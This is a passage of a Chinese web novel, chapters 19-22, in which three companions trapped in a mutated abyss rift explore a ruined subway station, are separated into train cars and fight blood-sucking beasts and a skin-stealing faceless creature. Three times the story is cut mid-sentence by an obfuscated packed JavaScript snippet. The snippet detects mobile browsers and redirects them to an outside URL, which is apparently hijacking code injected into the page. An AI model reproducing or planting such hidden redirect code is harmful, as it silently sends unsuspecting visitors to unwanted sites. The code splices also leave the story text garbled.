他对两人道:“好消息是,竹林里那个裂缝我进去过很多次,里面有什么陷阱怪物我都一清二楚。” 不等白洛的轻松跃上眉梢,容栖又接着说,“但是显而易见的是,这个地渊裂缝发生了不知名的异变,所以说——” 他两手举在白洛眼前一拍,拖长了声音,“我现在,对这里一无所知——” 白洛感觉自己的爪子久违地有点痒,皮笑肉不笑道:“说话再这么大喘气的话,打你哦!” “收收你无谓的妄想吧少年!” 容栖顺势在白洛面前摆了摆手指,语重心长地说:“地渊就应该是传说中那样荒无人烟、妖魔遍地的野蛮地方啊!” “你看看这周围,”手指往外一划,容栖接着道,“这么现代化的地渊别说你了,整个玄门都不知道有没有人见过。” “这说明什么?说明……” 19. 地铁站 “啊呀我知道!巨大的危险嘛!”白洛一脸黑线,不由得怀疑自己在容栖眼里到底是个什么形象?! “我就感慨那么两句,你有必要回我这么多吗?啰嗦的果然是你吧!” 容栖一脸的孺子不可教也,“我这哪里是啰嗦,明明是在传授你野外生存的技巧好吧!” 去你的野外生存! “我看你嬉皮笑脸的,一点也没有危险的氛围好吧!” “哎呀,我这不是怕你们,尤其是从没来过地渊的白洛同学紧张,特意活跃一下气氛嘛哈哈!” 曲浮玉一开始还在认真听,见两人话题逐渐偏移,忍无可忍。 “我说,你们是又需要我帮忙冷静一下吗?” 两个小学鸡齐齐一抖,连忙正经起来。 “总之,我们应该是进入了异变中的地渊裂缝,”容栖清了清嗓子,“至于是不是原来那个竹林的裂缝,我也不清楚。” “等等,这么说,那些误入地渊的普通人也不一定在这个空间咯?” 白洛后知后觉的问道。 容栖:“……哈哈华生你发现了盲点。” 曲浮玉用一种奇异的眼神看着白洛,“你还真以为有什么误入地渊的普通人啊?真的假的?” “啊?不是你封师叔……”白洛下意识反驳,下一秒大脑终于反应过来,“你的意思是,我们被骗了?!” 容栖坏笑,“我以为你猜到了来着,进来半天也没见你问,原来是没反应过来啊哈哈哈~” 白洛不懂,但他大为震撼。 “你还笑得出来?你师父算计你诶!老容你脾气这么好?” 容栖不仅笑,还大声嘲笑,“这才哪到哪!我猜你肯定也不知道推我们下来的八成就是我师父咯?” “我说的没错吧曲姐?” 容栖扭过头问曲浮玉,却见她面目堪称扭曲。 “是啊,没错,而且还不知道为什么对我下手格外重呢?!要不是我顺着他的力道自己跳进来,高低得吐几口血!” 容栖能感觉到曲浮玉对她封师叔的滤镜一下子稀碎了,他努力憋笑,可惜没憋住。 “哈哈哈哈哈怪不得你掉下来得那么快!” 不过容栖倒是能理解他师父对曲浮玉下重手的原因。 曲浮玉此时非常能共情白洛,容栖这过于爽朗的笑声实在是讨人嫌。 这次白洛没被容栖带偏,很执着地发出疑问,“可你师父为什么要算计我们?还把我们打包扔到这奇奇怪怪的地渊裂缝里来?” “这个嘛,我有些猜测,不过我说了你也不懂啦!” 白洛:“喂喂喂!好好说话!” 曲浮玉也颇为认同道:“容栖,跟你说话有时候真的很累啊!” “好吧好吧,”容栖只觉得这俩人无趣,“还能为什么,就是我们妨碍到他老人家跑路了呗,索性把我们打发到地渊裂缝咯!” 曲浮玉:“跑路?” 容栖在嘴巴前面比了个叉,一字一顿道:“无可奉告!” “哦你师父要走是吧,走就走啊,你又不会扒着他大腿不让他走。”白洛假意惊恐,“不会吧不会吧?容栖你原来是个师父控吗?!” 容栖顺势扭捏,“嗯……你猜?” 两人对视一眼,同时移开视线。 切!不想说就算了! 嘁,就算是老白他也是不会多说一个字的! 曲浮玉微妙的感觉自己被排挤了。 “我说,你师父知道这个空间异变的事吗?” 容栖:“唔,这个不好说。我上次进来是半年前了,至于我师父,他在裂缝边的青石上套了好几层封印。如果不是要捞人,他一向是懒得下地渊的,连打魇兽都是让它们自己刨开封印伸出脖子再杀。” 他严重怀疑封阳留着这个地渊就是专门给自己这个徒弟练手的。 而要是这半年里没有所谓的失足游客的话,估计封阳半年来都没有踏进地渊一步。 于是曲浮玉发出灵魂拷问,“那么,我们现在怎么办?” 白洛:“封先生就算要跑路,现在人也该走了吧?咱们是不是可以出去了?” 容栖:“好问题!所以我们要怎么出去呢?” 三人面面相觑。 白洛表情出现了一丝裂痕,“你们俩都是进过地渊的大佬吧?怎么走?指个路啊!” 容栖和曲浮玉面面相觑。 容栖望着天:“没异变之前,师父拿竹林里的地渊裂缝给我练手的,我只从这里进过地渊……地渊里随机刷新的地渊裂缝出口太难找了,师父在这里留了个人为稳固的出入口,在两界都安定的环境下可以稳定连接,平时用来捞人很方便。” 而现在,这个他最熟悉的地渊裂缝,它变异了…… 曲浮玉看着地:“正常来说,地渊裂缝在现世的位置一经发现就固定下来再不会变化,但在地渊内部不一样,这些裂缝依然存在,只是出现的位置很随机。” “我之前下地渊一般都会有留守在外界的队友,作为活坐标给地渊里的队友指路。” 但现在外界没有人蹲他们就不错了,哪来的活坐标队友…… 玄鉴司的鉴灵小队出任务都还要用两界梯呢…… 白洛僵着脸,“我也算是涨知识了,哈,事情又陷入僵局了对吧?” “啧,”容栖咂咂嘴,不太高兴的样子,“还以为曲姐你有办法的,这下不就只剩下一条路了嘛——” “明明是你那么悠闲的样子,我还指望你呢!”曲浮玉才不惯着他,“没办法,只能硬着头皮走了!” 两人的目光撞在同一处地方。 白洛豁然抬头,“不是吧,要进地铁站吗?” “我记得刚刚某人才说过异变的地渊非常非常、非常危险吧——” 容栖目不斜视,白洛继续输出。 “而且这里的断层明晃晃地把我们往地铁口里逼,简直是扑面而来的恶意啊!” “白洛同学要是害怕的话也可以不去哦~” 容栖潇洒挥开空气中过剩的PM2.5,一马当先地往不远处的地铁口走去。 “虽然按理来说是应该在仔细观察之后再行动,但估计容栖少年也不像表面上那么悠闲才对。” 曲浮玉笑着留下一句话,也提步离开。 白洛嘁了一声,有时候真不知道该说容栖的演技是天衣无缝还是漏洞百出。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195051|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>担心着急的话就大方的表现出来啊!这家伙! 心里暗骂,白洛还是几步赶上容栖,一把搂住后者的脖子,故意提高音量。 “人家都看出来了就别装了,不就是要去抓你跑路的师父吗?咱们师父控的老容?快快快,就让我们以马赫的速度通关吧!” 容栖一如既往地无力抵抗白洛怪物般的手劲,恨铁不成钢地横了他一眼。 拜托你闭嘴吧!你是觉得现场就你一个聪明人吗?! 明明是大笨蛋才对! 曲浮玉把白洛的大声嚷嚷听得一清二楚,噗嗤一笑乐道:“你们俩还挺默契啊!” 不过经验不足,稍稍一诈就自爆了呢。 容栖无奈扶额,用商量的语气道:“合作?” “乐意之至,”曲浮玉嘴角扬起,“其实你不用太防备我的,一开始就说了,我对封师叔绝无恶意,对你当然也是。” 容栖一秒接上,“即使我师父故意殴打你?” “当、然”曲浮玉尽力保持表情,“容栖,一定经常有人夸你帅吧?” 容栖:“呃,谢谢?说起来很少有人当面这样夸我诶。” 曲浮玉假笑,“脸长得不错,就是嘴有点多余!” 容栖:“唔这倒常常听到,谢谢夸奖~” 白洛又一次对容栖的厚脸皮叹为观止。 然而当事人表示这还不够,继续笑容灿烂地火上浇油。 “还有噢,我本来就没在防备曲姐你啊,毕竟整个宁川,我敢保证除了我没人能找到路葭易——” “至于宁川之外就更别提啦!你比我更清楚不是?” 所以说,在得到自己想要的消息之前,曲浮玉别无选择。 白洛摇头,杀人诛心啊老容! 小插曲过去,三人沿着地铁口的通道一路前进。 从外面看,地铁口只是有些残破,但走进来才发现这下面的画风还是地渊一贯的野蛮且脏乱差。 地铁里的场景混乱得像是狂风过境,原有的安检设备和围出路线方向的铁栏杆破破烂烂的四散在各处角落,满是厚重血渍的几根柱子上遍布细密的裂痕,像是碎石拼接而成似的。 容栖几人四处察看,期盼能在这里找到裂缝出口的迹象。 可惜片刻后几人聚在一起纷纷摇头,出口显然不是那容易找到的。 “看来只有下去站台看看了。” 容栖示意两人看向旁边向下的楼梯,率先踏了上去。 白洛两人也不拖沓,紧跟上去。 很快,三人穿过不长的楼梯下到站台。 “不太对劲!” 曲浮玉把头顶闪烁的白炽灯指给容栖看。 地渊里的一切总是原始又野蛮的,往常曲浮玉去的地渊裂缝不是黄沙漫天就是黑雾遍地。本来在地渊里看见建筑物就很稀奇了,现在居然还出现了血月之外的照明物! “我有一个很坏的联想……” 这里的东西都一致的残破,活像是统统被打碎后又拼起来的,但给人一种手艺很差的感觉,就没有几个是能看的。 但就是在这种情况下,地铁的屏蔽门居然尚且完好,而且不是一扇两扇而是目之所及的全部。 20. 车厢 容栖三人凑近了看,借着闪烁的白光,能看见屏蔽门上方有橘红色的地铁路线图,颜色脱落得厉害,细小的字体模糊得更加难以辨认。 白洛:“这也太糊了,我们现在的这个站台名字更是直接掉了个干净!” 曲浮玉视线一路往前,“的确……不过好像可以看清终点站。” “但是这写的什么啊……?” 容栖循声看去,不解道:“我看看……嗯?这不就是……” 容栖:!!! 话没说完,容栖突然反应过来,猛然一顿。 白洛还在追问:“是什么?老容你看得懂啊?” “不、我也看不懂,”容栖心口砰砰乱跳,随口糊弄过去。 但是那橘红色的三个小字明明白白的映入他眼里。 他看得明白,那里写的是‘灵官渡’。 让他心惊的是,一笔一划,那三个字分明是他几乎刻入灵魂的中文。 容栖心神剧颤,悄悄侧过身,微不可察的长长吐出一口气。 即便两个世界再相像,也还是有太多不能被复刻的地方,语言就是其中之一。 巫杭游历各界,对交流的包容度很高,堪称自带翻译器,容栖才能偶尔和他用中文进行加密通话,但也从没和他说起过某个中文具体的写法。 容栖从没想过除了自己的草稿之外,还有机会在这个世界看见熟悉的文字。 心神动荡间,也为了避免白洛和曲浮玉看出端倪,容栖装作探查的样子往屏蔽门的方向又走近了几步。 闪动的白光愈加不稳定,在容栖脚步落到屏蔽门正前方的一刹那,空间里乍然响起一阵长鸣! 三人俱是惊讶抬头,那是列车进站的鸣笛声! 下一秒,啪嗒一声细微的仿若电流的声响在头顶响起。 闪烁的白光骤然一变,昏暗诡谲的红光挤满了站台。 分明无风,容栖却好像听到列车刮过的呼呼风响。 “容栖——” “老容!” 身后白洛和曲浮玉惊惶的喊声传来,却赶不上容栖快速倒下的身影。 容栖只觉得身后一股大力袭来,他猝不及防的被推向屏蔽门。 完蛋,撞上去肯定超痛的! 被不知名的红光照得血红的屏蔽门在眼前快速放大,容栖条件反射地抬起手支撑。 没想到眼前一黑,他就这么毫无阻力的跌了下去。 快速睁开眼,曲浮玉警惕地环顾四周。 这里俨然是地铁内部的车厢。 怎么回事? 曲浮玉记得清楚,她刚才明明是正和白洛一同冲过去想要拉住歪倒的容栖的。 红光一闪间,那诡异的黑色雾气忽然出现,从背后猛然袭击容栖,一切发生得太快了,他们谁都没反应过来。 但她怎么会眼前一黑,睁眼就进到了车厢内部? 白炽灯静静的散发着光亮,曲浮玉试探地喊了两声。 良久,没听见那两人回应。 看来他们被分开了。 特意把她塞进车厢里,这里是有什么古怪吗? 曲浮玉的目光一寸寸扫过看起来再普通不过的车厢,相比外面的站台,这车厢里干净得异常,虽然空无一人,但铁质的座椅和扶手不染一尘,明晃晃的反着光。 她又试着往左右车厢移动,看看是不是只有她一个人被塞到了这列地铁上。 但一番尝试下来,曲浮玉发现她的行动范围实际上是有限的。 曲浮玉伸手轻轻按压连接两个车厢的贯通道里那一层看不见的空气墙,她往左能一直走到列车的尾部,往右却会被这道空气墙拦住,总计下来是四节车厢的范围。 车窗外一片黑暗,曲浮玉不知道列车有没有在行进。 这车厢里什么也没有,她总不能一直被困在这里。 看了一眼漆黑的车窗,曲浮玉回身缓缓伸手握住车厢中部的柱子,非凡者的身体素质异于常人,辅以一点小手段,足以支撑她掰下这根铁杆了。 没办法,情势所迫,她需要试着打破车窗才行。 就在曲浮玉费劲吧啦地掰柱子的同时,亮堂的白炽灯骤然熄灭。 血红的光映出了曲浮玉警惕的神情。 车厢里温度骤降。 “砰——” 佝偻的类人形怪物狠狠砸在车厢顶上,又在重力的作用下落回地面,暗色的粘稠血液滴落下来,汇聚到地面的一大滩血洼中。 即便是从没进过地渊的白洛也知道,这种身形矮小,却拥有尖利的爪牙和口器,身后拖着一条笨重的大尾巴,皮肤是一种浑浊的暗绿色,给人感觉像是从下水道里爬出来一样的怪物,是地渊魇兽里较为常见的一种。 名叫泣血妖,通常在夜晚出现,极度渴望生物尤其是人类的鲜血,可以快速吸干受害者的血液。 血从泣血妖锋利爪牙和口器位置平整的切口处源源不断的涌出,面目狰狞的地渊魇兽死状凄惨。 白洛在昏暗的红光中抡着早早掰下来的铁杆再次扫飞一只泣血妖,见缝插针地呼了口气。 他和曲浮玉一样,在冲向容栖的途中突然眼前一黑,再睁眼就已经在这满是泣血妖的车厢里了。 但和曲浮玉不同的是,他一进来就得直面这一大堆丑的令人发指的泣血妖,情急之下削飞几只泣血妖后便彻底陷入了苦战。 又是几只双目猩红的泣血妖扑上来,锋利的口器大张着。 用掰下来的铁杆子抽它们实在有点费力,白洛想着将稍长的铁棒子往后一杵,正中身后一只意欲偷袭的泣血妖。 而后右手握紧短刃利落的斜着划出一道半圆,刀刃削铁如泥,整齐地切下咄咄逼人的口器。 白洛抬腿踹开被几刀削残的泣血妖,顺手抡起铁棒子又是一抽。 恶臭的污血溅起半米高。 “啧,没完没了的!” 虽说单只的泣血妖战力不算高,但数量太多实在有点烦人。 白洛看看旁边的车窗,不约而同的跟曲浮玉做出了一样的判断。 又是一大波泣血妖摆动着长尾冲了上来,白洛这次没打算再用短刀来削它们,而是紧皱着眉头急退几步。 下一秒,数道暗色的阴影拔地而起,来势汹汹的泣血妖宛如投身入刀林,顷刻间被撕得粉碎。 肮脏的魇兽血四散而落,其后是白洛冷厉的眉眼。 他刚才连退几步可不是害怕,而是不想让这肮脏怪物的血沾到身上。 身边顿时空出一片,白洛趁此机会握紧铁棒子,带动全身的力量奋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195052|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力一抛,便将其像扔标枪一样甩向车窗。 这一击的力道显然不可小觑,但结果却让白洛很失望。 只见去势很猛的铁杆将将触到那漆黑一片的车窗,霎时便以更恐怖的速度反弹到车窗正对的另一侧,铁杆余威还在,笔直的穿透侧边的座椅。 白洛:…… 远处剩下的零星几只泣血妖再次锲而不舍的爬起来,白洛看都没看一眼,干脆地转身就跑。 影刃虽然好用,但他觉醒天赋神念也不久,平时也只是用来藏一藏随身的夺生短刃罢了,连用几次他恐怕就要先力竭而亡了。 他也没心思一直在这里耗着,老容和曲浮玉两个身上连把刀都没有,万一被泣血妖咬死了可就糟了。 但白洛也没能跑出太远。 他锤了两下面前看不见的空气墙,简直抑制不住自己骂人的冲动。 什么情况?!把他关在这里杀?! 不过空气墙的另一侧看起来风平浪静,虽然也是一片昏暗的红光,但丝毫没有泣血妖的影子。 这勉强算是个好消息吧,白洛心想,至少被关在这里的是他白洛。 他杀这些泣血妖可比老容那家伙利索多了。 随手甩下短刃上的血珠,白洛的目光越过冲他急速而来的怪物们,看向长长列车的另一头。 尽管希望渺茫,还是有必要去那一头看看,说不定那边是通的呢? 说干就干,白洛提着刀就冲了上去! 他没注意到看习惯了的红光忽然接触不良一样不自然的停了一瞬。 “诶!你没事吧?” 预料之中的疼痛感没有出现,容栖感觉有一双冰凉的手突兀地扶住了他。 容栖疑惑睁眼看去,眼前是一个带着眼镜的秀气青年,此时正双手托住了容栖的手臂,目光关切的看着他。 “我没事,刚刚没站稳,谢谢小哥!” 容栖面上感激地笑笑,不动声色地收回手臂,眼睛扫视目之所及的一切。 这是一节地铁车厢,车厢里人数正好,除了容栖之外,不多不少地将两侧的座椅填满。刚刚扶住容栖的秀气青年也在短暂的交流后坐下。 于是整个车厢就剩容栖一个人还站着,看起来像个运气极差没抢到座位的倒霉蛋。 从这里看去,车厢内部的一切设施都很完善,如果不是知道他还在地渊里,任谁看了都会以为这就是现实里再普通不过的景象罢了。 不过容栖很清楚那是不可能的。 先不提他在被撞倒的过程中眼睛一睁一闭就来到了这里,光看对面车厢门上方颜色清晰的地铁线路图就足够可疑了。 与外面极其模糊的线路图不同,车厢内部的线路图在明亮的光线下字迹清晰,容栖轻易就能看清。 并且看懂。 不出所料,这里的文字也是中文,密密麻麻的小字依次排列在橘红色线条的两侧,终点站的位置写着灵官渡。 可惜车厢里的电子屏毫无反应,双脚触地的感觉又与平常无异,容栖不知道列车是否在运行,也没法判断上车的站点具体是哪一个,距离所谓的终点站有多远。 眼珠一转,容栖小心地控制着视线在车厢两侧座椅上游移,说到底这里最值得注意的还是这些不知是人是鬼的乘客才对。 21. 无脸 不看不知道,一看吓一跳。 方才只是匆匆一暼,现在才发现这些‘人’的状态着实奇怪。 衣着服饰都很普通,但无一例外都是长衣长裤,指尖缩进袖子里,裤头盖过脚踝,不漏出一点皮肤。 脸倒是没被遮住,但面部的表情也很奇怪,不论男女老少都是笑着的。老人笑得慈祥,小孩笑得活泼,成年男女则笑得欢欣愉悦,活像下班路上捡到了一百块钱似的…… 乍一看只觉得这一整个车厢简直不科学的凑齐了各种幸福快乐的人,但细看之下,那挂着笑脸的形态各异的人们嘴角的弧度分明出奇的一致。 充满笑容的车厢里一片死寂,容栖甚至没有听到人类该有的呼吸声。 像是拙劣的模仿者,又像是粗制滥造的复制品,过高的相似性里带着扑面而来的荒诞与诡异感。 容栖倒是没被眼前异常的场面吓住,但在一一扫过车厢里木偶一样的‘人’之后,他陡然想起什么,眼角瞄向身侧。 之前热心搀住容栖的眼镜青年就坐在那里。 明显与其他人不同,眼镜青年在扶住容栖的时候表情和声音都无比正常,伸出的双手也很自然。 唯独手的温度几乎触手生冰,寒凉刺骨。 轻飘飘对上镜片后纯黑色的瞳孔,容栖在心里不太礼貌的评价。 想来也不是什么活人。 那人饱含问询意味的目光直直地投向容栖,举止在一堆伪人里显得无比灵动。 容栖镇定自若地摇摇头,甚至安抚地冲他笑笑,然后无比自然的,像每一个下班后极度疲惫而急于寻找座位的上班族一样,大摇大摆地从眼镜青年面前走过。 他目前所处的这节车厢是列车一端的第一节,容栖只能往右侧走,前往下一节车厢。 一切风平浪静,只余容栖脚步移动时的沙沙声。 无视视线里出现的更多的笑容越发僵硬的伪人,容栖神情自若地往前走。 第二节 第三节 第四节 在第四节车厢通向第五节的贯通道里,容栖停下了脚步。 抬手按上肉眼不可见的空气墙,容栖深深地叹了口气。 “看来你没能找到空余的座位。” 身后传来清朗的男声。 容栖表情很苦恼的转过身,语气相当自然的回道:“是啊,看来我恰好是多余的那一个呢!” “那边看起来很空,”容栖指了指空气墙的另一侧,“或许我可以到下一节车厢去找到位置?” 的确,无形的空气墙阻隔了容栖的脚步,但能看见那一侧的空间里是一片空荡荡。 眼镜青年紧盯着容栖,抱歉的说道:“我想不太合适,那边的位置是留给它们的,可不是我们这些人该去的地方。” “它们?我们?” 青年没理会容栖疑惑的问句。自顾自地接着道:“我就快到站了,不如我把座位让给你吧,看你很累的样子。” 睁眼说什么瞎话呢?小爷精力充沛着呢! 在心里暗自吐槽,容栖面上仍是一幅惊喜又不好意思的神色,状似扭捏地推辞。 “这怎么好意思……话说小哥你到哪个站啊?” “灵官渡啊,”青年很热心地就要带着容栖往回走,“没什么不好意思的,我已经坐了很久了,而且你在这里是绝对找不到多余的位置的,走吧走吧!” “那就是快到终点站了啊……”容栖站在原地小声嘀咕,没跟上前者原路返回的步伐,“哎呀看来得速战速决才行……” 左右看了看,两侧伪人们无神的双眼眨也不眨。 第一节车厢的伪人还会时不时有一点小幅度的动作,眼神也笼罩着虚假的笑意,但到了这里的第四节车厢,伪人的仿真程度大幅下降,不仅眼神死板,肢体也僵硬得要死,都不能叫伪人,简直就是商场里的假人一样。 容栖手指快速从腰侧的铜钱扣上拂过,再一翻手,掌心赫然躺着一枚印着‘晴天霹雳’四个花字的铜钱, 容栖一直觉得封阳传给他的东西很奇怪,说是阵法,但又不仅仅是普世意义上的阴阳八卦、天地五行。 有些不伦不类但又包罗万象。 乾坤震巽艮坎离兑、五行生克,封阳的阵简直是在基础阵局上玩出了花,将阵之一道的‘变’字发挥到了极致。 阵随心动,生杀予夺尽在一掌之间。 要容栖说,他师父就不应该自称阵师,应该叫法师才对! 他们师徒俩这手阵术一脉相承,容栖的铜钱阵盘就是为了‘施法’方便研发出来的。 他目前还做不到像他师父那样在战斗中抬手就是一套行云流水的连招,需要铜钱阵盘帮他节省时间。 不过有时候容栖也拿来当手榴弹用。 “哎,眼镜小哥!你是眼睛近视吗?不过我看你的镜片好像是平光镜诶?不近视的话为什么不摘了呢?” 容栖随口扯出个话题,琢磨着要不一会儿就把铜钱朝他眼镜上丢? 那双黑不溜秋的眼珠子看起来怪渗人的。 嗯然后再扔个牢不可破先把这家伙关起来?他还想问问灵官渡这个所谓的终点站到底有什么呢,也不知道旁边坐着的这些假人能不能交流…… 短短一瞬间容栖在脑子里想了一堆有的没的,不过他没像计划里那样等到眼镜青年转过身。 容栖的话不知道触到了他哪根脆弱的神经,只见他脚步一下子定在原地,双手捂住脸,声音一反常态的颤抖起来。 “眼镜?不能摘眼镜、会坏的,这副皮囊保质期太短了……” 容栖没听见他音量逐渐降低后在小声喃喃些什么,暗自盘算着要不就这么砸过去得了,面前突然又传来青年莫名激扬起来的声音。 “你的就很好,我很喜欢。眼睛那么亮,嘴唇也很润,笑起来很有感染力……还有皮肤,温热的皮肤,健康的、白皙的、顺滑的皮肤……” 容栖这次听清了,感觉自己的耳朵受到了污染,表情颇有些一言难尽,有一种直男被性骚扰的无力感。 那人还在继续,情绪激动的转过身,“……一切都是那么优质,我一定会用心保养,难得的好皮囊……” 容栖看到了它此时面目全非的秀气脸庞,漆黑的、没有一丝眼白的眼珠撑破了眼眶,嘴角撕裂着向两边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195053|150785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉出了一个夸张的弧度,皮肤上遍布着细密的裂纹,其中渗出黑红色的粘液。 乱七八糟的丑东西都挤在不大的一张脸上,容栖这下觉得自己的眼睛也受到了污染。 他捏着手里的铜钱眼神有些死,倔强的不想将视线落到对面那张像是被一拳砸了个稀巴烂而后又被很随意地拼起来的灾难脸上。 容栖毫不掩饰自己的嫌恶,“我说,眼镜先生,您这还得练啊!” “咱们人类里的变态一般没你这么变态的,咱们讲究的是含蓄美!” “你这样的,变态都觉得变态,”容栖一脸不认可,煞有介事的伸出手指对着它指指点点,“在我们那儿分分钟包暴露的!” 丑到脱离人形的怪物哼哧哼哧大口喘着粗气,对容栖的话充耳不闻,两腿一蹬就要扑向容栖。 “喂喂!现在可是战前垃圾话环节!你不讲武德啊?!” 容栖嘴上嚷嚷着,动作却一点也不慢,当机立断地抛出手里等候多时的铜钱,一声断喝: “紫乘天,丹霞赫冲,破!” 铜钱上的花字亮起刺目的白光,正正好砸上了披着人皮的假冒伪劣人形怪的额头位置。 紧接着轰然一声巨响,蓝紫色的电弧噼里啪啦的跳动着,怪物的身形迅速被极盛的电光淹没。 容栖双手捂眼,又从微微分开的指缝里看到隐隐约约的白烟。 他咂了下嘴,好一场声势浩大的火光带闪电,不愧是‘晴天霹雳’,他这取名果然是恰如其分! 这威力可不比手榴弹差! 待尘嚣渐歇,如他所料,那非人的怪物被这青天白日一道雷给劈得惨不忍睹。本就岌岌可危的脸皮更是物理意义上的掉了个干净,露出黑红色的坑坑洼洼的泥泞脑袋。 不过这脑袋真就只是个脑袋的样,没眼没口的,像个徒手捏出的泥巴团! 原本的衣物也被劈得破破烂烂,露出其下覆满斑驳裂痕的皮肉。 容栖再次升起捂脸的冲动,地渊生物的颜值当真是没有下限的吗?!简直没眼看啊! 但看起来凄惨无比的伪人居然还挺有韧性,摇摇晃晃的站起来,张牙舞爪地就又扑向容栖。 容栖敏捷地侧身避开,注意到怪物的嗓音不复清朗,只断断续续的发出许多无意义的嘶吼。 什么情况?撕掉脸皮之后还顺带破坏了语言中枢? 这下好了,他好像也没办法把人家关起来再进行友好‘交流’了。 追击的怪物速度不算快,容栖猜测它大概受限于还没脱落干净的人类皮囊。 利落地一脚踹开逼到身前的怪物,容栖快速抬手掐了个简易的指诀。 “通知您一个不幸的消息,”他看着傻乎乎再次冲上来的怪物笑得开怀,“不会说人话的假冒伪劣产品是没有生存资格的哟~” “巽震,风雷益!” 巽字诀的狂风和方才威势甚猛的雷光阵相互激荡,怪物的脚步被迫中止,凌厉的风刃快速剔去所剩无几的残破人皮。 “让我来看看你到底是个什么东西——” 容栖额前的刘海被风扬起,露出一双内蕴神光的清亮眼眸。 22. 破局 黑红色的粘液更多更快的滑落,露出真面目的怪物满身都是黑红色的泥泞流质体,像个行走的大脓包,又像个半融化状态的蜡像,流质的色彩混杂在一起,不由分说地造成大片视觉污染。 容栖倒抽一口气,突然就理解了眼镜青年为什么对好看的人类皮囊那么执着。伪装成人类的怪物,但凡接受了人类世界的审美观,想必是无法忍受本体这样一副尊荣的。 暴露的明明白白的怪物从不知在何处的嗓子里挤出一声刺耳的尖啸,像个见光死的网络阴暗批。 但它的攻击力显而易见的比人类形体时提高了不止一星半点儿,攻势瞬间便迅猛了起来。 容栖反应极快地和它快速交手几个来回,虽然他是个法师,但跟人逞凶斗狠、拳脚相加的时候绝不算少,怎么也算得上个近战法师,不至于斗不过自带狂躁音效进攻却毫无章法的无脸怪。 甩甩手臂,容栖目光快速划过二者打斗过程中掠过的车厢地面,现在要紧的问题不是干架。 无脸怪脱离皮囊之后的形体好像突然有了免疫,容栖试过风砍雷劈,却再难对烂泥一样的怪物造成什么实际伤害。 黑红色的身体被切开又迅速复原,不时有零星的碎块散落在车厢里。 当然也包括手无寸铁和它拳脚相加的容栖。 踢开脚边的黑红色肉块,容栖暗道麻烦。 无脸怪速度虽快,但暂时无法对他造成有效攻击。反倒是这天女散花似的肉泥更妨碍他发挥。 手臂上不小心沾到,立刻便有阵阵刺痛传来。并不是腐蚀的效果,而是无脸怪想要侵占他□□的本能。 挥出的离火短暂击退了无脸怪,但片刻后又见它摇晃着站起身。 真是,打又打不死,还得防着它往身体里钻! 容栖跟它缠斗了好一会儿,基本确定了无脸怪的攻击模式和手段,终于耐心耗尽。 扯出一抹冷笑,容栖清凌凌的眼睛不含一丝感情,“你也差不多该去死了!” 幽蓝渡火应声而出,火舌一燎就扫干净了容栖手臂上的黑泥,转而飞射向无脸怪,转眼便淹没了黑红的人影。 容栖手指一扬,顿时有几簇细小的火苗跳到地上,将四散的黑红肉泥一一焚净。 无脸怪临死的惨叫声凄厉,但很快也消失。车厢里又恢复到寂静的氛围。 容栖若有所思地环视一圈两侧事不关己的假人们,同样是披着人皮的怪物,方才一番激战下来,它们却无动于衷。 是他这个猎物不够有吸引力?还是同族相让,互不相争? 亦或者,有什么限制着它们?明显异常的眼镜怪物才是不合群的那一个? 毁尸灭迹结束,容栖一边凝眉思索,一边再次走到空气墙面前。 虽说现在眼镜青年的座位是名正言顺的‘让’给他了,但他一点也不想试着坐下休息。 坐到假人堆里,谁知道他会不会被同化成什么妖魔鬼怪? 不是说渡火可以点燃一切有形无形之物吗?说不定这空气墙也能烧?容栖想着,掌心砰地冒出一团蓝火就要往空气墙上凑。 就在这时,车厢里亮堂堂的白光突兀的陷入卡顿,一闪过后再亮起的却是熟悉的昏暗红光。 容栖霎时扭头,正对上一连四节车厢里两侧伪人们紧盯着他的漆黑双眼! “大概五分钟吗……” 曲浮玉擦去脸颊上的血迹,将手中染血的铁杆放下,轻声总结道。 从第一次灯光变换开始,大约每五分钟就会切换一次。 白光时一切风平浪静,她所处的这个空间就是再平凡不过的地铁车厢摸样。然而一切换到红光照耀时,就像虚无的幻象被打破一样,显露出截然不同的景象。 一开始只是车厢里无端出现大片的锈迹和血迹,原本完好的设施也在一瞬间恢复成应有的破烂摸样,比起外面空间残破的站台有过之而无不及。 甚至因为宛如凶杀案一样大片大片的深深的血迹而显得更加脏污。 曲浮玉趁着危机尚未出现抓紧时间成功掰下车厢中部的铁杆,但在试探着将铁杆砸向车窗时,她得出了和白洛一样的结论。 这里的车窗时完全封闭的,不容许从内部打破。 曲浮玉待在满目猩红的车厢里一时想不出破局的办法。 